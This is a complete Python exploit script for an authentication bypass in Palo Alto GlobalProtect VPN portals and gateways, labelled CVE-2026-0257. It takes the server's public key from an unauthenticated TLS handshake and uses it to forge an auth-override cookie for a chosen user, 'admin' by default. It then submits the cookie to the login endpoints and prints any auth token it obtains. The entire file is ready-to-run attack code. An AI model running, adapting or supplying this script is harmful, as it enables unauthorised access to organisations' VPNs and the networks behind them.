1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
| """
Forge a GlobalProtect authentication override cookie using only the public key.
Retrieves the CA certificate from the TLS handshake (unauthenticated),
encrypts a forged cookie for the specified user, and tests it against
the gateway (and optionally the portal) to bypass authentication.
"""
import argparse
import base64
import re
import ssl
import socket
import time
import urllib.request
import urllib.parse
from cryptography import x509
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
def _extract_certs_from_tls_handshake(host, port):
"""
Intercept raw TLS handshake bytes via MemoryBIO and parse the Certificate
message to extract all certs the server sends. Works on Python 3.6+.
Forces TLS 1.2 so the Certificate message is sent in plaintext.
"""
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Force TLS 1.2 - in TLS 1.3 the Certificate message is encrypted
ctx.maximum_version = ssl.TLSVersion.TLSv1_2
incoming = ssl.MemoryBIO()
outgoing = ssl.MemoryBIO()
sslobj = ctx.wrap_bio(incoming, outgoing, server_hostname=host)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port))
raw_from_server = bytearray()
try:
while True:
# Always flush any pending outgoing TLS data first
out_data = outgoing.read()
if out_data:
sock.sendall(out_data)
try:
sslobj.do_handshake()
# Handshake complete, flush remaining
out_data = outgoing.read()
if out_data:
sock.sendall(out_data)
break
except ssl.SSLWantReadError:
pass
except ssl.SSLWantWriteError:
continue
# Non-blocking peek: only recv if data is available
sock.setblocking(False)
try:
data = sock.recv(16384)
if not data:
break
raw_from_server.extend(data)
incoming.write(data)
except (BlockingIOError, socket.error):
# No data yet; flush outgoing and retry
sock.setblocking(True)
sock.settimeout(10)
out_data = outgoing.read()
if out_data:
sock.sendall(out_data)
# Now wait for data with timeout
data = sock.recv(16384)
if not data:
break
raw_from_server.extend(data)
incoming.write(data)
finally:
sock.setblocking(True)
sock.settimeout(10)
except (ssl.SSLError, socket.timeout, OSError):
pass
finally:
sock.close()
return _parse_certs_from_tls_records(bytes(raw_from_server))
def _parse_certs_from_tls_records(data):
"""Parse raw TLS records to extract certificates from the Certificate handshake message."""
# First pass: reassemble all handshake record payloads (type 22)
handshake_data = bytearray()
i = 0
while i + 5 <= len(data):
content_type = data[i]
record_length = int.from_bytes(data[i + 3:i + 5], "big")
if i + 5 + record_length > len(data):
break
if content_type == 22: # Handshake
handshake_data.extend(data[i + 5:i + 5 + record_length])
i += 5 + record_length
# Second pass: walk handshake messages looking for Certificate (type 11)
certs = []
j = 0
while j + 4 <= len(handshake_data):
hs_type = handshake_data[j]
hs_length = int.from_bytes(handshake_data[j + 1:j + 4], "big")
if j + 4 + hs_length > len(handshake_data):
break
if hs_type == 11: # Certificate
body = handshake_data[j + 4:j + 4 + hs_length]
if len(body) >= 3:
certs_total_len = int.from_bytes(body[0:3], "big")
k = 3
while k + 3 <= len(body) and k < 3 + certs_total_len:
cert_len = int.from_bytes(body[k:k + 3], "big")
if k + 3 + cert_len > len(body):
break
cert_der = bytes(body[k + 3:k + 3 + cert_len])
certs.append(x509.load_der_x509_certificate(cert_der))
k += 3 + cert_len
break # Found what we need
j += 4 + hs_length
return certs
def get_all_public_keys(host, port=443):
"""Extract all public keys from the TLS certificate chain (unauthenticated)."""
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
s.connect((host, port))
# Python 3.10+ exposes get_unverified_chain() directly
if hasattr(s, "get_unverified_chain"):
der_chain = s.get_unverified_chain()
return [x509.load_der_x509_certificate(der) for der in der_chain]
# Fallback for older Python: parse raw TLS handshake to get full cert chain
certs = _extract_certs_from_tls_handshake(host, port)
if certs:
return certs
# Last resort: only the leaf certificate via stdlib (no full chain)
with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
s.connect((host, port))
der_bytes = s.getpeercert(binary_form=True)
return [x509.load_der_x509_certificate(der_bytes)]
def forge_cookie(public_key, username, domain="", host_id="", client_ip="0.0.0.0", client_os="Windows"):
"""Forge an authentication override cookie."""
timestamp = int(time.time())
plaintext = f"{username};{domain};{client_os};{host_id};{timestamp};{client_ip}"
ciphertext = public_key.encrypt(plaintext.encode(), padding.PKCS1v15())
return base64.b64encode(ciphertext).decode()
def test_cookie(host, port, cookie_b64, username, context="gateway", client_os="Windows", host_id=""):
"""Test the forged cookie against the GP endpoint."""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
params = {
"prot": "https",
"server": host,
"inputStr": "",
"jnlpReady": "jnlpReady",
"ok": "Login",
"direct": "yes",
"clientVer": "4100",
"user": username,
"passwd": "",
"context": context,
"clientos": client_os,
"clientgpversion": "6.0.0",
"host-id": host_id,
"computer": "",
"os-version": "Microsoft Windows 10 Pro 64-bit",
"portal-userauthcookie": cookie_b64,
"portal-prelogonuserauthcookie": "",
}
body = urllib.parse.urlencode(params)
url = f"https://{host}:{port}/ssl-vpn/login.esp" if port != 443 else f"https://{host}/ssl-vpn/login.esp"
req = urllib.request.Request(url, data=body.encode(), method="POST")
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read().decode()
except urllib.error.HTTPError as e:
return f"HTTP {e.code}"
def main():
parser = argparse.ArgumentParser(
description="Forge a GlobalProtect auth override cookie using the public key from TLS (CVE-2026-0257)."
)
parser.add_argument("--target", required=True, help="Target GlobalProtect portal or gateway (IP or hostname)")
parser.add_argument("--port", type=int, default=443, help="Target port (default: 443)")
parser.add_argument("--user", default="admin", help="Username to forge cookie for (default: admin)")
parser.add_argument("--domain", default="", help="Domain for cookie (default: empty)")
parser.add_argument("--host-id", default="", help="Host ID for cookie (default: empty)")
parser.add_argument("--client-os", default="Windows", help="Client OS for cookie (default: Windows)")
parser.add_argument("--client-ip", default="0.0.0.0", help="Client IP in cookie (default: 0.0.0.0)")
parser.add_argument("--context", choices=["gateway", "portal", "both"], default="both",
help="Context to test: gateway, portal, or both (default target)")
parser.add_argument("--verbose", action="store_true", help="Print full response")
args = parser.parse_args()
# Step 1: Get all public keys from TLS chain
print(f"[*] Retrieving certificate chain from {args.target}:{args.port} ...")
certs = get_all_public_keys(args.target, args.port)
print(f" Found {len(certs)} certificate(s) in chain:")
for i, cert in enumerate(certs):
cn = cert.subject.rfc4514_string()
try:
bc = cert.extensions.get_extension_for_class(x509.BasicConstraints)
is_ca = bc.value.ca
except x509.ExtensionNotFound:
is_ca = False
print(f" [{i}] {cn} (RSA {cert.public_key().key_size} bits, CA={is_ca})")
# Determine which contexts to test
if args.context == "both":
contexts = ["gateway", "portal"]
else:
contexts = [args.context]
# Step 2: Try each key until one works
print(f"\n[*] Forging cookie for user '{args.user}', testing each key")
success = False
for i, cert in enumerate(certs):
cn = cert.subject.rfc4514_string()
public_key = cert.public_key()
print(f"\n Trying [{i}] {cn}")
cookie_b64 = forge_cookie(public_key, args.user, args.domain, args.host_id, args.client_ip, args.client_os)
for context in contexts:
response = test_cookie(args.target, args.port, cookie_b64, args.user, context, args.client_os, args.host_id)
if context == "gateway":
# Gateway returns XML with <status>Success</status> or config data
if "<status>Success</status>" in response or ("<argument>" in response and args.user in response):
print(f" [+] Success - Gateway accepted the forged cookie")
print(f" Cookie: {cookie_b64}")
if args.verbose:
print(f"\n Full response:\n{response}")
success = True
break
else:
print(f" [-] Failure - Gateway did not accepted the forged cookie")
if args.verbose:
print(f" Response: {response}")
else:
# Portal returns JNLP XML with <argument> elements
if "<argument>" in response and args.user in response:
args_list = re.findall(r"<argument>(.*?)</argument>", response)
print(f" [+] Success - Portal accepted the forged cookie")
print(f" Cookie: {cookie_b64}")
print(f" Auth token: {args_list[1] if len(args_list) > 1 else 'N/A'}")
print(f" Username: {args_list[4] if len(args_list) > 4 else 'N/A'}")
print(f" Gateway: {args_list[3] if len(args_list) > 3 else 'N/A'}")
if args.verbose:
print(f"\n Full response:\n{response}")
success = True
break
else:
print(f" [-] Failure - Portal did not accepted the forged cookie")
if args.verbose:
print(f" Response: {response}")
if success:
break
if not success:
print(f"\n[-] No key in the chain produced a valid cookie.")
if __name__ == "__main__":
main()
|